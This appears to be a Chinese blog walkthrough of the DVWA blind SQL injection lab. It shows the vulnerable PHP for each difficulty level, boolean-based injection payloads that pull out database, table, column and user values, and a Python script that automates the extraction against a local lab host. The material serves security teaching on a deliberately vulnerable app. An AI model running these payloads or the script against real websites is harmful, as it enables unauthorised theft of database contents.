新手DVWA-SQL Injection (Blind)

SQL Injection (Blind)

SQL Injection (Blind)即SQL盲注,同样是由于web应用程序对用户输入数据没有进行过滤或过滤不完全,导致输入数据破坏原有SQL语句并执行恶意指令,与SQL注入区别在于SQL盲注没有回显,无法直接了解到恶意指令执行情况。

low

服务器核心代码

<?php

if( isset( $_GET[ ‘Submit‘ ] ) ) {
    // Get input
    $id = $_GET[ ‘id‘ ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed ‘or die‘ to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The ‘@‘ character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo ‘<pre>User ID exists in the database.</pre>‘;
    }
    else {
        // User wasn‘t found, so the page wasn‘t!
        header( $_SERVER[ ‘SERVER_PROTOCOL‘ ] . ‘ 404 Not Found‘ );

        // Feedback for end user
        echo ‘<pre>User ID is MISSING from the database.</pre>‘;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

low难度代码未对输入信息进行过滤,可以进行注入

解法

输入 1‘ and 1=1 # 显示数据在数据库中

新手DVWA-SQL Injection (Blind)

输入 1‘ and 1=0 # 显示数据不在数据库中 说明语句注入成功

新手DVWA-SQL Injection (Blind)

猜解数据库名的长度 1‘ and length(database())=1 # 显示MISSING

新手DVWA-SQL Injection (Blind)

猜解到4的时候 显示exists 说明数据库名长度为4

之后逐个猜解库名 1‘ and substr(database(),1,1)=‘a‘ # (MISSING)

以此类推 1‘ and substr(database(),1,1)=‘d‘ # (exists)

1‘ and substr(database(),2,1)=‘v‘ # (exists)

1‘ and substr(database(),3,1)=‘w‘ # (exists)

1‘ and substr(database(),4,1)=‘a‘ # (exists)

猜解表个数 1‘ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa‘ )=1 #

猜解表名长度 1‘ and length((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 0,1))=1 #

猜解表名 1‘ and substr((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 1,1),1,1)=‘a‘ #

猜解字段个数 1‘ and (select count(column_name) from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ )=1 #

猜解字段名长度 1‘ and length((select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ limit 0,1))=1 #

猜解字段名 1‘ and substr((select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ limit 3,1),1,1)=‘a‘ #

猜解值长度 1‘ and length((select user from dvwa.users limit 0,1))=1 #

猜解值 1‘ and substr((select user from dvwa.users limit 0,1),1,1)=‘a‘ #

medium

服务器核心代码

<?php

if( isset( $_POST[ ‘Submit‘ ]  ) ) {
    // Get input
    $id = $_POST[ ‘id‘ ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed ‘or die‘ to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The ‘@‘ character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo ‘<pre>User ID exists in the database.</pre>‘;
    }
    else {
        // Feedback for end user
        echo ‘<pre>User ID is MISSING from the database.</pre>‘;
    }

    //mysql_close();
}

?> 

从代码看,用mysqli_real_escape_string()函数过滤了一部分特殊符号,但注入点也变成了数字型,同时将传参数方式变成post,并不能防止注入

解法

猜解数据库名的长度 1 and length(database())=4 #

猜解数据库名 1 and ascii(substr(database(),1,1))=100 #

猜解表个数 1 and (select count(table_name) from information_schema.tables where table_schema=0x64767761 )=2 #

猜解表名长度 1 and length((select table_name from information_schema.tables where table_schema=0x64767761 limit 0,1))=9 #

猜解表名 1 and ascii(substr((select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1),1,1))=103 #

猜解字段个数 1 and (select count(column_name) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 )=8 #

猜解字段名长度 1 and length((select column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 limit 3,1))=4 #

猜解字段名 1 and ascii(substr((select column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 limit 3,1),1,1))=117 #

猜解值长度 1 and length((select user from dvwa.users limit 0,1))=5 #

猜解值 1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 #

high

服务器核心代码

<?php

if( isset( $_COOKIE[ ‘id‘ ] ) ) {
    // Get input
    $id = $_COOKIE[ ‘id‘ ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed ‘or die‘ to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The ‘@‘ character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo ‘<pre>User ID exists in the database.</pre>‘;
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn‘t found, so the page wasn‘t!
        header( $_SERVER[ ‘SERVER_PROTOCOL‘ ] . ‘ 404 Not Found‘ );

        // Feedback for end user
        echo ‘<pre>User ID is MISSING from the database.</pre>‘;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

改用cookie传值,没有过滤,payload和前两个基本差不多

解法

猜解数据库名的长度 1‘ and length(database())=4 #

猜解数据库名 1‘ and substr(database(),1,1)=‘d‘ #

猜解表个数 1‘ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa‘ )=2 #

猜解表名长度 1‘ and length((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 0,1))=9 #

猜解表名 1‘ and substr((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 1,1),1,1)=‘g‘ #

猜解字段个数 1‘ and (select count(column_name) from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ )=8 #

猜解字段名长度 1‘ and length((select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ limit 3,1))=4 #

猜解字段名 1‘ and substr((select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ limit 3,1),1,1)=‘u‘ #

猜解值长度 1‘ and length((select user from dvwa.users limit 0,1))=5 #

猜解值 1‘ and substr((select user from dvwa.users limit 0,1),1,1))=‘a‘ #

impossible

<?php

if( isset( $_GET[ ‘Submit‘ ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );

    // Get input
    $id = $_GET[ ‘id‘ ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ );
        $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo ‘<pre>User ID exists in the database.</pre>‘;
        }
        else {
            // User wasn‘t found, so the page wasn‘t!
            header( $_SERVER[ ‘SERVER_PROTOCOL‘ ] . ‘ 404 Not Found‘ );

            // Feedback for end user
            echo ‘<pre>User ID is MISSING from the database.</pre>‘;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

从代码上看,判断输入参数是否为数字,后面还使用了PDO来防止SQL注入,这里已经不能再进行SQL注入

脚本

因为盲注比较复杂,所以一般我们选择写个脚本来跑,这里根据low难度来写一个,medium和high也是同理,由于水平有限,写的不一定好,应该只属于勉强能把结果跑出来那种吧……

import requests
from lxml import etree

if __name__ == "__main__" :
    headers={
        ‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0‘,
        ‘Cookie‘: ‘PHPSESSID=qapdt204upd005gebh8ikaern7; security=low‘
        }
    url=‘http://192.168.37.141:89/vulnerabilities/sqli_blind/?id={n}&Submit=Submit‘
    dic=[‘a‘,‘b‘,‘c‘,‘d‘,‘e‘,‘f‘,‘j‘,‘h‘,‘i‘,‘g‘,‘k‘,‘l‘,‘m‘,‘n‘,‘o‘,‘p‘,‘q‘,‘r‘,‘s‘,‘t‘,‘u‘,‘v‘,‘w‘,‘x‘,‘y‘,‘z‘,
         ‘0‘,‘1‘,‘2‘,‘3‘,‘4‘,‘5‘,‘6‘,‘7‘,‘8‘,‘9‘]
    
    database=‘‘
    for i in range(1,5):
        for c in dic:
            payload="1‘ and substr(database(),{n},1)=‘{m}‘ %23"
            html=requests.get(url=url.format(n=payload.format(n=i,m=c)),headers=headers)
            if ‘exists‘ in html.text:
                database+=c
                break
    print(‘数据库名:‘+database)

    for i in range(1,15):
        payload="1‘ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa‘ )={n} %23 "
        html=requests.get(url=url.format(n=payload.format(n=i)),headers=headers)
        if ‘exists‘ in html.text:
            tablenum=i
            break
    print(‘表个数:‘+str(tablenum))
    for i in range(0,tablenum):
        for j in range(1,25):
            payload="1‘ and length((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit {m},1))={n} %23"
            html=requests.get(url=url.format(n=payload.format(m=i,n=j)),headers=headers)
            if ‘exists‘ in html.text:
                tablelen=j
                table_name=‘‘
                for k in range(0,tablelen+1):
                    for c in dic:
                        payload="1‘ and substr((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit {m},1),{k},1)=‘{n}‘ %23"
                        html=requests.get(url=url.format(n=payload.format(m=i,k=k,n=c)),headers=headers)
                        if ‘exists‘ in html.text:
                            table_name+=c
                            break
                print(‘表名:‘+table_name)
                break

    table_name=input(‘输入表名:‘)

    for i in range(1,15):
        payload="1‘ and (select count(column_name) from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘"+table_name+"‘ )={n} %23"
        html=requests.get(url=url.format(n=payload.format(n=i)),headers=headers)
        if ‘exists‘ in html.text:
            columnnum=i
            break
    print(‘字段个数:‘+str(columnnum))
    for i in range(0,columnnum):
        for j in range(1,25):
            payload="1‘ and length((select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘"+table_name+"‘ limit {m},1))={n} %23"
            html=requests.get(url=url.format(n=payload.format(m=i,n=j)),headers=headers)
            if ‘exists‘ in html.text:
                columnlen=j
                column_name=‘‘
                for k in range(0,columnlen+1):
                    for c in dic:
                        payload="1‘ and substr((select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘"+table_name+"‘ limit {m},1),{k},1)=‘{n}‘ %23"
                        html=requests.get(url=url.format(n=payload.format(m=i,k=k,n=c)),headers=headers)
                        if ‘exists‘ in html.text:
                            column_name+=c
                            break
                print(‘字段名:‘+column_name)
                break
    while(1):
        column_name=input(‘输入字段名:‘)
        if column_name == ‘0‘:
            break
        else:
            for i in range(1,51):
                payload="1‘ and length((select "+column_name+" from dvwa."+table_name+" limit 0,1))={n} %23"
                html=requests.get(url=url.format(n=payload.format(n=i)),headers=headers)
                if ‘exists‘ in html.text:
                    valuenum=i
                    value=‘‘
                    for j in range(1,valuenum+1):
                        for c in dic:
                            payload="1‘ and substr((select "+column_name+" from dvwa."+table_name+" limit 0,1),{k},1)=‘{n}‘ %23"
                            html=requests.get(url=url.format(n=payload.format(k=j,n=c)),headers=headers)
                            if ‘exists‘ in html.text:
                                    value+=c
                    print(value)
                    break

下面是运行结果

新手DVWA-SQL Injection (Blind)

新手DVWA-SQL Injection (Blind)

上一篇:C#注册表操作类(完整版)


下一篇:SharePoint2010沙盒解决方案基础开发——关于TreeView树形控件读取列表数据(树形导航)的webpart开发及问题